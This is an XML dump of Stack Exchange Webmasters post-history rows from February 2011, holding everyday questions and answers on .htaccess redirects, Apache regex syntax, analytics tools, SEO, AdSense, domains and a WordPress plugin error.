  <row Id="19314" PostHistoryTypeId="17" PostId="8856" RevisionGUID="6d4f5cd7-7895-4931-937c-2a2f915bd4da" CreationDate="2011-02-08T04:04:58.600" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12132/i-need-a-recommendation-for-a-cms-application-with-ecommerce" Text="" />
  <row Id="19315" PostHistoryTypeId="2" PostId="8857" RevisionGUID="51e61be3-8fce-4efc-bee9-8cd0fb0e01ab" CreationDate="2011-02-08T04:34:07.047" UserDisplayName="user5245" Text="Many of my visitors have bookmarked my site already wtih https://mydomain.com. Under the bad advice of a programmer, I put my whole Joomla site under ssl. I do not sell anything or provide any member services. I asked him many times if it would slow my site down - he said it wouldn't. I knew it did, I've researched on this site and realized it does slow the site down because of no cache of the pages. Understood.&#xD;&#xA;&#xD;&#xA;Please, someone tell me how to get away from it now. I'm not sure how to approach this, should I add something to my htaccess or my main index.php file? I've looked all over the net, there is much advice for adding redirectives for going from http to https, but very few answers regarding the opposite of going from https to http.&#xD;&#xA;&#xD;&#xA;Thank you very much for your time. I appreciate it." />
  <row Id="19316" PostHistoryTypeId="1" PostId="8857" RevisionGUID="51e61be3-8fce-4efc-bee9-8cd0fb0e01ab" CreationDate="2011-02-08T04:34:07.047" UserDisplayName="user5245" Text="Redirect from https://mydomain.com to http://mydomain.com" />
  <row Id="19317" PostHistoryTypeId="3" PostId="8857" RevisionGUID="51e61be3-8fce-4efc-bee9-8cd0fb0e01ab" CreationDate="2011-02-08T04:34:07.047" UserDisplayName="user5245" Text="&lt;ssl&gt;&lt;http&gt;" />
  <row Id="19318" PostHistoryTypeId="2" PostId="8858" RevisionGUID="e66ca1fe-de8e-4d56-95a0-4433c5c50a96" CreationDate="2011-02-08T05:08:45.450" UserDisplayName="user5246" Text="Are there any good realistic looking signature fonts you guys know of?" />
  <row Id="19319" PostHistoryTypeId="1" PostId="8858" RevisionGUID="e66ca1fe-de8e-4d56-95a0-4433c5c50a96" CreationDate="2011-02-08T05:08:45.450" UserDisplayName="user5246" Text="Best signature fonts" />
  <row Id="19320" PostHistoryTypeId="3" PostId="8858" RevisionGUID="e66ca1fe-de8e-4d56-95a0-4433c5c50a96" CreationDate="2011-02-08T05:08:45.450" UserDisplayName="user5246" Text="&lt;photoshop&gt;" />
  <row Id="19321" PostHistoryTypeId="25" PostId="8857" RevisionGUID="97a8bd2a-b39b-41aa-abe3-5fac840a0a82" CreationDate="2011-02-08T05:16:41.177" Comment="http://twitter.com/#!/StackWebmasters/status/34843032864034816" />
  <row Id="19322" PostHistoryTypeId="17" PostId="8860" RevisionGUID="6b69d52f-ef74-435a-96d7-71dbbcb71266" CreationDate="2011-02-08T06:46:24.563" UserId="-1" Comment="from http://serverfault.com/questions/232501/equal-sign-tilde-and-m-in-htaccess-directive/232505#232505" Text="" />
  <row Id="19323" PostHistoryTypeId="2" PostId="8860" RevisionGUID="dcfcd2bf-d862-4fe0-9aeb-2356e6efe245" CreationDate="2011-02-08T05:49:52.127" UserId="124" Text="That is used for matching a regex in a string.&#xD;&#xA;&#xD;&#xA;See [`man perlop`][1]:&#xD;&#xA;&#xD;&#xA;&gt;Binary &quot;=~&quot; binds a scalar expression to a pattern match.  Certain&#xD;&#xA;       operations search or modify the string $_ by default.  This operator&#xD;&#xA;       makes that kind of operation work on some other string.  The right&#xD;&#xA;       argument is a search pattern, substitution, or transliteration.  The&#xD;&#xA;       left argument is what is supposed to be searched, substituted, or&#xD;&#xA;       transliterated instead of the default $_.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt;m/PATTERN/msixpogc  &#xD;&#xA;       /PATTERN/msixpogc  &#xD;&#xA;               Searches a string for a pattern match, and in scalar context&#xD;&#xA;               returns true if it succeeds, false if it fails.  If no string&#xD;&#xA;               is specified via the &quot;=~&quot; or &quot;!~&quot; operator, the $_ string is&#xD;&#xA;               searched.  (The string specified with &quot;=~&quot; need not be an&#xD;&#xA;               lvalue--it may be the result of an expression evaluation, but&#xD;&#xA;               remember the &quot;=~&quot; binds rather tightly.)  See also perlre.  See&#xD;&#xA;               perllocale for discussion of additional considerations that&#xD;&#xA;               apply when &quot;use locale&quot; is in effect.  &#xD;&#xA;&gt;...  &#xD;&#xA;&gt;If &quot;/&quot; is the delimiter then the initial &quot;m&quot; is optional.  With&#xD;&#xA;               the &quot;m&quot; you can use any pair of non-alphanumeric, non-&#xD;&#xA;               whitespace characters as delimiters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/perlop" />
  <row Id="19324" PostHistoryTypeId="2" PostId="8859" RevisionGUID="ae078516-a188-43ff-8a12-25f654767f51" CreationDate="2011-02-08T05:28:35.427" UserId="1757" Text="I saw this bit of code on an old forum post:&#xD;&#xA;&#xD;&#xA;    SSLRequire %{HTTP_HOST} =~ m&quot;\.secure\.powweb\.com&quot;&#xD;&#xA;&#xD;&#xA;And I was just wondering what the `=~` and `m&quot; ... &quot;` meant. I've been searching online and in the Apache documentation for any mention of the *equal-sign tilde* operator, but I've found no mention of it. I know that some directives can take a tilde to use a regular expression, but I've never seen the `m&quot; ... &quot;` form used before.&#xD;&#xA;&#xD;&#xA;What exactly is that `m&quot; ... &quot;` for? Where else would you see this form?" />
  <row Id="19325" PostHistoryTypeId="1" PostId="8859" RevisionGUID="ae078516-a188-43ff-8a12-25f654767f51" CreationDate="2011-02-08T05:28:35.427" UserId="1757" Text="=~ (equal-sign tilde) and m&quot; ... &quot; in .htaccess directive" />
  <row Id="19326" PostHistoryTypeId="3" PostId="8859" RevisionGUID="ae078516-a188-43ff-8a12-25f654767f51" CreationDate="2011-02-08T05:28:35.427" UserId="1757" Text="&lt;apache&gt;&lt;.htaccess&gt;&lt;httpd&gt;" />
  <row Id="19327" PostHistoryTypeId="17" PostId="8859" RevisionGUID="380c286c-f0dd-477b-b47b-8ec67cde3443" CreationDate="2011-02-08T06:46:24.563" UserId="-1" Comment="from http://serverfault.com/questions/232501/equal-sign-tilde-and-m-in-htaccess-directive" Text="" />
  <row Id="19328" PostHistoryTypeId="2" PostId="8861" RevisionGUID="2dd607ce-ce8b-4f6a-a574-cf14e9660d5f" CreationDate="2011-02-08T04:19:02.523" UserDisplayName="coneybeare" Text="I am looking for something to do some basic apache log analysis server side, or remotely. awstats seems like it has all the info, but its too much, and it is so ugly. Isn't there some zero config, zero maintenance options out there to do simple server log analysis other than awstat?" />
  <row Id="19329" PostHistoryTypeId="1" PostId="8861" RevisionGUID="2dd607ce-ce8b-4f6a-a574-cf14e9660d5f" CreationDate="2011-02-08T04:19:02.523" UserDisplayName="coneybeare" Text="Is there anything better than awstats?" />
  <row Id="19330" PostHistoryTypeId="3" PostId="8861" RevisionGUID="2dd607ce-ce8b-4f6a-a574-cf14e9660d5f" CreationDate="2011-02-08T04:19:02.523" UserDisplayName="coneybeare" Text="&lt;server&gt;&lt;monitoring&gt;&lt;awstats&gt;&lt;statistics&gt;" />
  <row Id="19331" PostHistoryTypeId="17" PostId="8861" RevisionGUID="134da939-80cf-4689-baa2-2d9dca00fdfe" CreationDate="2011-02-08T06:51:01.063" UserId="-1" Comment="from http://serverfault.com/questions/232490/is-there-anything-better-than-awstats" Text="" />
  <row Id="19335" PostHistoryTypeId="5" PostId="8859" RevisionGUID="d45cf290-84e0-45ff-8e65-90e2a21fd34c" CreationDate="2011-02-08T08:08:44.243" UserId="1757" Comment="damn content thiefs" Text="I saw this bit of code on an old forum post:&#xD;&#xA;&#xD;&#xA;    SSLRequire %{HTTP_HOST} =~ m&quot;\.secure\.powweb\.com&quot;&#xD;&#xA;&#xD;&#xA;And I was just wondering what the `=~` and `m&quot; ... &quot;` meant. I've been searching online and in the Apache documentation for any mention of the *equal-sign tilde* operator, but I've found no mention of it. I know that some directives can take a tilde to use a regular expression, but I've never seen the `m&quot; ... &quot;` form used before.&#xD;&#xA;&#xD;&#xA;What exactly is that `m&quot; ... &quot;` for? Where else would you see this form?&#xD;&#xA;&#xD;&#xA;**Note:**&lt;br/&gt;&#xD;&#xA;*If you're reading this question on ApacheServer.net, know that this content is stolen from the [Stack Exchange][1] network. ApacheServer.net is illegally hosting this content without proper attribution.* Visit the following URL for the original page:&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/8859&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com" />
  <row Id="19336" PostHistoryTypeId="6" PostId="8859" RevisionGUID="d45cf290-84e0-45ff-8e65-90e2a21fd34c" CreationDate="2011-02-08T08:08:44.243" UserId="1757" Comment="damn content thiefs" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;httpd&gt;" />
  <row Id="19337" PostHistoryTypeId="25" PostId="8859" RevisionGUID="444edbc9-9a04-4f31-b1eb-4a43715ae27d" CreationDate="2011-02-08T08:16:40.850" Comment="http://twitter.com/#!/StackWebmasters/status/34888330374021120" />
  <row Id="19338" PostHistoryTypeId="2" PostId="8863" RevisionGUID="b5c5b7c6-d3e9-4197-a267-cd9f7e466fa5" CreationDate="2011-02-08T08:35:51.160" UserId="5152" Text="I'd like to register a domain for myself. On it, I'll publish SciFi stories that I'm writing. The stories will be available in English and German (the two languages that I know) but if fans want to translate them, I'm open for other languages as well.&#xD;&#xA;&#xD;&#xA;When I read `.de`, my impression is &quot;it's in German, only.&quot;&#xD;&#xA;&#xD;&#xA;Which is the best TLD for a non-commercial but language agnostic site? `.info`?" />
  <row Id="19339" PostHistoryTypeId="1" PostId="8863" RevisionGUID="b5c5b7c6-d3e9-4197-a267-cd9f7e466fa5" CreationDate="2011-02-08T08:35:51.160" UserId="5152" Text="What's the best TLD for a personal, international website?" />
  <row Id="19340" PostHistoryTypeId="3" PostId="8863" RevisionGUID="b5c5b7c6-d3e9-4197-a267-cd9f7e466fa5" CreationDate="2011-02-08T08:35:51.160" UserId="5152" Text="&lt;top-level-domains&gt;&lt;internationalization&gt;&lt;personal-website&gt;" />
  <row Id="19341" PostHistoryTypeId="2" PostId="8864" RevisionGUID="158ea8b8-ecfe-4fea-8f86-f1a5a51d83d1" CreationDate="2011-02-08T08:48:04.920" UserDisplayName="user5248" Text="redirecting from ssl to non-ssl will cause a warning to pop up in visitors' browser. but if you are not selling, then that may not bother you or them.&#xD;&#xA;&#xD;&#xA;.htaccess file, assuming Apache and AllowOverrides All:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteCond %{HTTPS}       =on&#xD;&#xA;        RewriteRule ^(.*)          http://yoursite.com/$1 [L,R]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;a visit to any page over SSL will be redirected to non-ssl" />
  <row Id="19342" PostHistoryTypeId="2" PostId="8865" RevisionGUID="53fc1db6-3765-48a1-ad4c-eb9d65144a1d" CreationDate="2011-02-08T09:09:01.100" UserId="5249" Text="I have read in a lot of places that CPC depends on the value of &quot;keywords&quot;.  However I don't understand what this means.  I will set forward some scenarios.&#xD;&#xA;&#xD;&#xA;1.  Suppose I run a blog about knitting and this is a low paying niche.  However I suddenly write five frontpage blog posts about forex trading and insurance.  When people click on the frontpage ads, would I be getting paid for the low CPC knitting content or for the high paying forex content?&#xD;&#xA;&#xD;&#xA;2.  Suppose somebody finds my webpage by searching for knitting.  However the actual content of the landing page is filled with high paying keywords. Is the CPC for this page determined by the low paying search or the high paying content?" />
  <row Id="19343" PostHistoryTypeId="1" PostId="8865" RevisionGUID="53fc1db6-3765-48a1-ad4c-eb9d65144a1d" CreationDate="2011-02-08T09:09:01.100" UserId="5249" Text="What exactly does &quot;keyword&quot; mean in the context of AdSense CPC?" />
  <row Id="19344" PostHistoryTypeId="3" PostId="8865" RevisionGUID="53fc1db6-3765-48a1-ad4c-eb9d65144a1d" CreationDate="2011-02-08T09:09:01.100" UserId="5249" Text="&lt;google-adsense&gt;" />
  <row Id="19345" PostHistoryTypeId="2" PostId="8866" RevisionGUID="b01e7d6e-629a-4f94-ae79-602629c2e889" CreationDate="2011-02-08T09:10:27.277" UserId="3467" Text="I know there's been questions about this before, but mine is a little more specific. I work for a high traffic website and we want to start tracking our visitors better. Unfortunately, Google Analytics is not an option at the moment, so what I'm looking for is some alternatives, preferrably server-side (but not necessarily).&#xD;&#xA;&#xD;&#xA;We're currently running Urchin, but what I'm missing most there is the way you can set conversions in Analytics and then track (for example) which keywords convert better or which landing pages convert better. Also, A/B testing is something I really miss.&#xD;&#xA;&#xD;&#xA;Which analytics tools can be compared to analytics in terms of advanced segmentation, navigation summaries, A/B testing, etc?" />
  <row Id="19346" PostHistoryTypeId="1" PostId="8866" RevisionGUID="b01e7d6e-629a-4f94-ae79-602629c2e889" CreationDate="2011-02-08T09:10:27.277" UserId="3467" Text="Best in-depth analytics or stats tools? (preferrably server-side)" />
  <row Id="19347" PostHistoryTypeId="3" PostId="8866" RevisionGUID="b01e7d6e-629a-4f94-ae79-602629c2e889" CreationDate="2011-02-08T09:10:27.277" UserId="3467" Text="&lt;statistics&gt;&lt;website-analytics-tools&gt;&lt;visitors&gt;" />
  <row Id="19348" PostHistoryTypeId="2" PostId="8867" RevisionGUID="691a1447-c3ed-4c2a-bb17-b82ceacf5af3" CreationDate="2011-02-08T09:54:04.223" UserDisplayName="user5252" Text="We're looking to develop a simple e-commerce solution to sell 5-6 products.&#xD;&#xA; &#xD;&#xA;We'd rather not have to use PayPal's buttons (buy it now!) if there's an existing alternative, but would also for budget/time constraints don't want to roll our own.&#xD;&#xA;&#xD;&#xA;Are there any small, basic ecommerce solutions available that would allow this? I did look at [Foxy Cart][1] but the monthly fee was a bit of a turn off. (I must sound extremely fussy I'm aware!)&#xD;&#xA;&#xD;&#xA;Something like Zen would just be overkill for our needs.&#xD;&#xA;&#xD;&#xA;Thanks for any suggestions. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.foxycart.com/" />
  <row Id="19349" PostHistoryTypeId="1" PostId="8867" RevisionGUID="691a1447-c3ed-4c2a-bb17-b82ceacf5af3" CreationDate="2011-02-08T09:54:04.223" UserDisplayName="user5252" Text="ecommerce options for 5-6 products" />
  <row Id="19350" PostHistoryTypeId="3" PostId="8867" RevisionGUID="691a1447-c3ed-4c2a-bb17-b82ceacf5af3" CreationDate="2011-02-08T09:54:04.223" UserDisplayName="user5252" Text="&lt;web-development&gt;&lt;ecommerce&gt;" />
  <row Id="19351" PostHistoryTypeId="2" PostId="8868" RevisionGUID="87961a21-ad00-4607-b621-ac6194953b2c" CreationDate="2011-02-08T10:35:51.287" UserId="3312" Text="Is a site penalised if the first propper (human readable) content comes after a lot of structural HTML code?  Is there any benefit to having the text content come earlier in the source (e.g. less HTML before it)?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="19352" PostHistoryTypeId="1" PostId="8868" RevisionGUID="87961a21-ad00-4607-b621-ac6194953b2c" CreationDate="2011-02-08T10:35:51.287" UserId="3312" Text="Does the position of the content in the source make a difference to SEO?" />
  <row Id="19353" PostHistoryTypeId="3" PostId="8868" RevisionGUID="87961a21-ad00-4607-b621-ac6194953b2c" CreationDate="2011-02-08T10:35:51.287" UserId="3312" Text="&lt;seo&gt;" />
  <row Id="19354" PostHistoryTypeId="2" PostId="8869" RevisionGUID="1bbbfda1-2bea-4a4b-828e-9208bf4969c3" CreationDate="2011-02-08T10:45:52.233" UserId="221" Text="`.com` remains the most prominent international TLD. TLDs like `.info` all feel a bit ... spammy. You may be able to overcome that but if you can find a suitable available `.com`, go with it!&#xD;&#xA;&#xD;&#xA;`.net` may also work (although not nearly as good as `.com`)." />
  <row Id="19355" PostHistoryTypeId="2" PostId="8870" RevisionGUID="00e53dea-63cf-4e12-9682-faaa3d2467af" CreationDate="2011-02-08T10:54:04.000" UserId="774" Text="&gt; zero config, zero maintenance &#xD;&#xA;&#xD;&#xA;You won't get much for nothing.&#xD;&#xA;&#xD;&#xA;Have a look at [Google Analytic][1]s or [PiWik][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/&#xD;&#xA;  [2]: http://piwik.org/" />
  <row Id="19356" PostHistoryTypeId="25" PostId="8868" RevisionGUID="7470ceb6-470a-4032-a949-40edd729cc2a" CreationDate="2011-02-08T11:16:40.727" Comment="http://twitter.com/#!/StackWebmasters/status/34933628488122368" />
  <row Id="19357" PostHistoryTypeId="2" PostId="8871" RevisionGUID="b807e176-5a4a-4588-8e8d-f8c12f706893" CreationDate="2011-02-08T11:38:50.843" UserDisplayName="user5253" Text="I have the same issue &#xD;&#xA;my url is &quot; http://www.pironeducation.com &quot;&#xD;&#xA;&#xD;&#xA;http://www.pironeducation.com/index.php?option=com_poll&amp;id=14:joomla-is-used-for&#xD;&#xA;With this url i am getting http 403 error.&#xD;&#xA;&#xD;&#xA;Kindly give me idea.. as this poll is not exist in backend...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19358" PostHistoryTypeId="2" PostId="8872" RevisionGUID="f3214147-7aa1-4918-a16f-1feb42812a42" CreationDate="2011-02-08T12:22:17.527" UserId="233" Text="Like John said, there would not be any *direct* SEO benefit - i.e. those links would not increase your PageRank - but you you'd still get your name out there and get more visitors (isn't that what it's all about?)&#xD;&#xA;&#xD;&#xA;Regardless, I think other webmasters might be wary of using an external Javascript file just to link to a web site. If it's a more intricate widget (say, your latest news) then you may get more traction, but the user must put their faith in you that you won't change the script to take over their web page or something else sinister.&#xD;&#xA;&#xD;&#xA;You could either go with a standard text link, or perhaps a dynamically-generated image. Alternatively, try one of the common sharing widgets like [AddThis][1], which allows sharing over the various social networks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addthis.com/" />
  <row Id="19359" PostHistoryTypeId="5" PostId="8859" RevisionGUID="4ab0ea0c-7d0f-48b0-900d-1a61de773d76" CreationDate="2011-02-08T12:25:15.293" UserId="233" Comment="deleted 329 characters in body" Text="I saw this bit of code on an old forum post:&#xD;&#xA;&#xD;&#xA;    SSLRequire %{HTTP_HOST} =~ m&quot;\.secure\.powweb\.com&quot;&#xD;&#xA;&#xD;&#xA;And I was just wondering what the `=~` and `m&quot; ... &quot;` meant. I've been searching online and in the Apache documentation for any mention of the *equal-sign tilde* operator, but I've found no mention of it. I know that some directives can take a tilde to use a regular expression, but I've never seen the `m&quot; ... &quot;` form used before.&#xD;&#xA;&#xD;&#xA;What exactly is that `m&quot; ... &quot;` for? Where else would you see this form?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com" />
  <row Id="19360" PostHistoryTypeId="2" PostId="8873" RevisionGUID="a3dca8cf-0ef8-4970-9475-8fe66e5c05b1" CreationDate="2011-02-08T13:00:18.413" UserId="108" Text="See number 8 on this page, http://www.seomoz.org/article/search-ranking-factors#ranking-factors for reference.&#xD;&#xA;&#xD;&#xA;The short answer is you want your text content as close to the top as possible.  That being said it isn't a huge factor so don't get overly worried or do crazy things to optimize your content to the top of the code.  Google looks at a lot of other things that are much more important." />
  <row Id="19361" PostHistoryTypeId="2" PostId="8874" RevisionGUID="aca37130-44ac-4600-91e0-381192a9c659" CreationDate="2011-02-08T13:04:16.243" UserDisplayName="user5257" Text="I have purchased a cPanel/WHM web hosting reseller account and I want to set up a site for people to set up a hosting accounts. I also would like to have a domain name registration system on the site, so people can register the domain name they would like to host with me. How can I do this? Are there any ready-made scripts available or should I create my own script using the WHM API?&#xD;&#xA;&#xD;&#xA;Thanks a lot." />
  <row Id="19362" PostHistoryTypeId="1" PostId="8874" RevisionGUID="aca37130-44ac-4600-91e0-381192a9c659" CreationDate="2011-02-08T13:04:16.243" UserDisplayName="user5257" Text="how to setup a webhosting site ?" />
  <row Id="19363" PostHistoryTypeId="3" PostId="8874" RevisionGUID="aca37130-44ac-4600-91e0-381192a9c659" CreationDate="2011-02-08T13:04:16.243" UserDisplayName="user5257" Text="&lt;php&gt;&lt;web-hosting&gt;" />
  <row Id="19364" PostHistoryTypeId="2" PostId="8875" RevisionGUID="a7124fb0-2933-4f64-bb44-a947903fb7d6" CreationDate="2011-02-08T13:16:42.287" UserId="108" Text="Google puts Adwords on a page based off of relevance to the content of the page. So if a visitor came to your page on forex trading and insurance and those were high paying keywords then your adwords ads would have a higher CPC and thus you would get paid more.&#xD;&#xA;&#xD;&#xA;Remember though once Google sees your front page and 5 most recent posts are no longer about knitting don't expect those pages to show up in SERPs for knitting any longer.  &#xD;&#xA;&#xD;&#xA;I don't know if you Google refreshes adwords when it re-crawls your site but if it does then except to get no value from writing those forex pages in the hopes of getting knitters there as the adwords would change when you get reindexed and removed from the knitting SERPs.&#xD;&#xA;&#xD;&#xA;As a whole this seems like an underhanded trick to try and get increased adwords revenue.  Remember though if you get knitters to your site and they find info on forex trading they are probably even less likely to click on adword links about something they care nothing about. " />
  <row Id="19365" PostHistoryTypeId="2" PostId="8876" RevisionGUID="cd8a9a41-512d-443e-8072-ec1427139f73" CreationDate="2011-02-08T13:26:42.240" UserId="108" Text="See this answer, http://webmasters.stackexchange.com/questions/1475/which-payment-provider-such-as-paypal-should-i-use-for-marketplace-style-site/1477#1477 for a large list of payment providers found on the web.&#xD;&#xA;&#xD;&#xA;You want to use one of these payment providers to transfer funds because the software is complex due to required security and the legal requirements that go along with creating a payment site." />
  <row Id="19366" PostHistoryTypeId="2" PostId="8877" RevisionGUID="a0d1a6fe-1fdd-4d72-bd35-70539e8ea3c3" CreationDate="2011-02-08T13:27:59.297" UserId="5258" Text="I know that Google tells you how many times a certain keyword is used in a search. You can use the Google Keyword Tool for that. This tool also allows you to find out the number of &quot;local&quot; searches: this is the number of times a person from a given country searches for this keyword.&#xD;&#xA;&#xD;&#xA;My questions: can you also find out how many searches originate from a given American *state* ? In the Keyword Tool, I can only select countries, not states.&#xD;&#xA;&#xD;&#xA;Any other systems I can use to determine *where* people are searching for a given keyword?" />
  <row Id="19367" PostHistoryTypeId="1" PostId="8877" RevisionGUID="a0d1a6fe-1fdd-4d72-bd35-70539e8ea3c3" CreationDate="2011-02-08T13:27:59.297" UserId="5258" Text="Can I find out the number of searches on a given keyword, per state?" />
  <row Id="19368" PostHistoryTypeId="3" PostId="8877" RevisionGUID="a0d1a6fe-1fdd-4d72-bd35-70539e8ea3c3" CreationDate="2011-02-08T13:27:59.297" UserId="5258" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;" />
  <row Id="19369" PostHistoryTypeId="2" PostId="8878" RevisionGUID="317bda27-3d7a-484d-9859-e33a3d15d847" CreationDate="2011-02-08T13:28:30.887" UserDisplayName="user5256" Text="I'm building a website for an au pair agency business that will connect au pairs to families around Europe.&#xD;&#xA;I know nothing about website building, HTML etc. so I'm using a wysiwyg editer (weebly).&#xD;&#xA;How I would like the site to function:&#xD;&#xA;&#xD;&#xA; - Families upload their information into profiles&#xD;&#xA; - Au pairs do the same&#xD;&#xA; - families can view a limited part of an au pairs' profile until they pay a deposit&#xD;&#xA; - After deposit is payed, all au pairs' profile information becomes open to families&#xD;&#xA; - Families can order au pairs and confirm their order with another payment&#xD;&#xA; - payment must be made before 'order' is confirmed&#xD;&#xA; - By 'order' I mean full communications become open between the family and the au pair they have 'ordered' as well as travel information being sent to another agency&#xD;&#xA; - the site needs to be linked with a bank account (e.g paypal) and another agency, who will look after the flight bookings etc.&#xD;&#xA;&#xD;&#xA;A website already exists for this business however it just contains information on the business and application forms - if the site becomes fully automated it will relieve a lot of strain on administration in the office (dealing with applications, travel information etc.)" />
  <row Id="19370" PostHistoryTypeId="1" PostId="8878" RevisionGUID="317bda27-3d7a-484d-9859-e33a3d15d847" CreationDate="2011-02-08T13:28:30.887" UserDisplayName="user5256" Text="Guidance on building an au pair-to-family networking site." />
  <row Id="19371" PostHistoryTypeId="3" PostId="8878" RevisionGUID="317bda27-3d7a-484d-9859-e33a3d15d847" CreationDate="2011-02-08T13:28:30.887" UserDisplayName="user5256" Text="&lt;html&gt;&lt;cms&gt;&lt;websites&gt;&lt;social-networks&gt;&lt;business&gt;" />
  <row Id="19372" PostHistoryTypeId="2" PostId="8879" RevisionGUID="d2e80ef1-a989-4ea7-80a1-68300b638d24" CreationDate="2011-02-08T13:57:47.540" UserId="5026" Text="I'm trying to upload secure-wordpress.1.0.6, and I receive the following error:&#xD;&#xA;&#xD;&#xA;&gt; Warning: touch() [function.touch]:&#xD;&#xA;&gt; open_basedir restriction in effect.&#xD;&#xA;&gt; File(/abs_path/wordpress/tmp/secure-wordpress.tmp)&#xD;&#xA;&gt; is not within the allowed path(s):&#xD;&#xA;&gt; (/abs_path/:/abs_path/:/usr/local/lib/php:/tmp/php_upload)&#xD;&#xA;&gt; in /abs_path/public/www/wordpress/wp-admin/includes/file.php on line 199&#xD;&#xA;&gt; &#xD;&#xA;&gt; Download failed. Could not create&#xD;&#xA;&gt; Temporary file.&#xD;&#xA;&#xD;&#xA;The /wp-content folder and all it's subfolders have 777 permission.&#xD;&#xA;&#xD;&#xA;I've added the following two lines to wp-config.php:&#xD;&#xA;putenv('TMPDIR='.ini_get('upload_tmp_dir') );&#xD;&#xA;define('WP_TEMP_DIR', ABSPATH .'wp-content/uploads/');&#xD;&#xA;&#xD;&#xA;What else should I try?&#xD;&#xA;&#xD;&#xA;I am using Wordpress 3.04 in a PHP 4.49 environment." />
  <row Id="19373" PostHistoryTypeId="1" PostId="8879" RevisionGUID="d2e80ef1-a989-4ea7-80a1-68300b638d24" CreationDate="2011-02-08T13:57:47.540" UserId="5026" Text="Wordpress plugin installation error." />
  <row Id="19374" PostHistoryTypeId="3" PostId="8879" RevisionGUID="d2e80ef1-a989-4ea7-80a1-68300b638d24" CreationDate="2011-02-08T13:57:47.540" UserId="5026" Text="&lt;wordpress&gt;&lt;plugin&gt;" />
  <row Id="19375" PostHistoryTypeId="2" PostId="8880" RevisionGUID="489e6e06-66f6-4720-b10a-2c35bca989c4" CreationDate="2011-02-08T14:08:54.557" UserId="1953" Text="I'd highly suggest outsourcing it to a programmer if you know nothing about programming or building a website. You can design the layout and build the template using your wysiwyg editor, but to get this functionality you'll have to dig into the code. &#xD;&#xA;&#xD;&#xA;That said, if you are intent on building it yourself, I'd recommend checking out the Symfony framework for php. They have set's of &quot;24 hour&quot; tutorials that guide you through the complete process of building a site from start to finish using the Symfony framework (check out the jobeet and askeet tutorials in particular). &#xD;&#xA;&#xD;&#xA;http://www.symfony-project.org/&#xD;&#xA;&#xD;&#xA;Good Luck" />
  <row Id="19379" PostHistoryTypeId="25" PostId="8874" RevisionGUID="2165bf1a-2d80-421d-8657-7e9fdd8f73f5" CreationDate="2011-02-08T14:16:40.993" Comment="http://twitter.com/#!/StackWebmasters/status/34978927738884096" />
  <row Id="19380" PostHistoryTypeId="10" PostId="8863" RevisionGUID="833501c1-8b91-42f3-9509-9890f5738e1d" CreationDate="2011-02-08T14:24:51.667" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19381" PostHistoryTypeId="11" PostId="8863" RevisionGUID="a8573c58-49ca-4dec-b265-592a5e9156d3" CreationDate="2011-02-08T14:24:58.747" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="19382" PostHistoryTypeId="2" PostId="8882" RevisionGUID="4d546590-080b-4f42-8bf1-4691034412ac" CreationDate="2011-02-08T13:59:30.300" UserDisplayName="Raghu" Text="We are using Twitterizer for Twitter integration to get the Tweets details. When making call to the method `OAuthUtility.GetRequestToken`, following exception is coming.&#xD;&#xA;&#xD;&#xA;&gt; System.Security.SecurityException:&#xD;&#xA;&gt; Request for the permission of type&#xD;&#xA;&gt; 'System.Net.WebPermission, System,&#xD;&#xA;&gt; Version=2.0.0.0, Culture=neutral,&#xD;&#xA;&gt; PublicKeyToken=b77a5c561934e089'&#xD;&#xA;&gt; failed.&#xD;&#xA;&#xD;&#xA;When the application is hosted on IIS 5, the application works fine and the above error is coming only when the application is hosted in IIS 7 on Windows 2008 R2. and the method OAuthUtility.GetRequestToken throws above exception. It seems the issue is something with code access security. Please suggest what kind of permissions should be given to fix the security exception. The application has the Full Trust and I have even tried by registering the Twitterizer DLL in GAC and still the same error is coming. I am not sure what makes the difference between IIS 5 and IIS 7 with regards to code access security to cause that exception.&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Raghu&#xD;&#xA;" />
  <row Id="19383" PostHistoryTypeId="1" PostId="8882" RevisionGUID="4d546590-080b-4f42-8bf1-4691034412ac" CreationDate="2011-02-08T13:59:30.300" UserDisplayName="Raghu" Text="Security exception in Twitterizer" />
  <row Id="19384" PostHistoryTypeId="3" PostId="8882" RevisionGUID="4d546590-080b-4f42-8bf1-4691034412ac" CreationDate="2011-02-08T13:59:30.300" UserDisplayName="Raghu" Text="&lt;twitter-integration&gt;" />
  <row Id="19385" PostHistoryTypeId="17" PostId="8882" RevisionGUID="8525162f-b720-498b-848e-990b8754d6e5" CreationDate="2011-02-08T14:25:53.543" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12161/security-exception-in-twitterizer" Text="" />
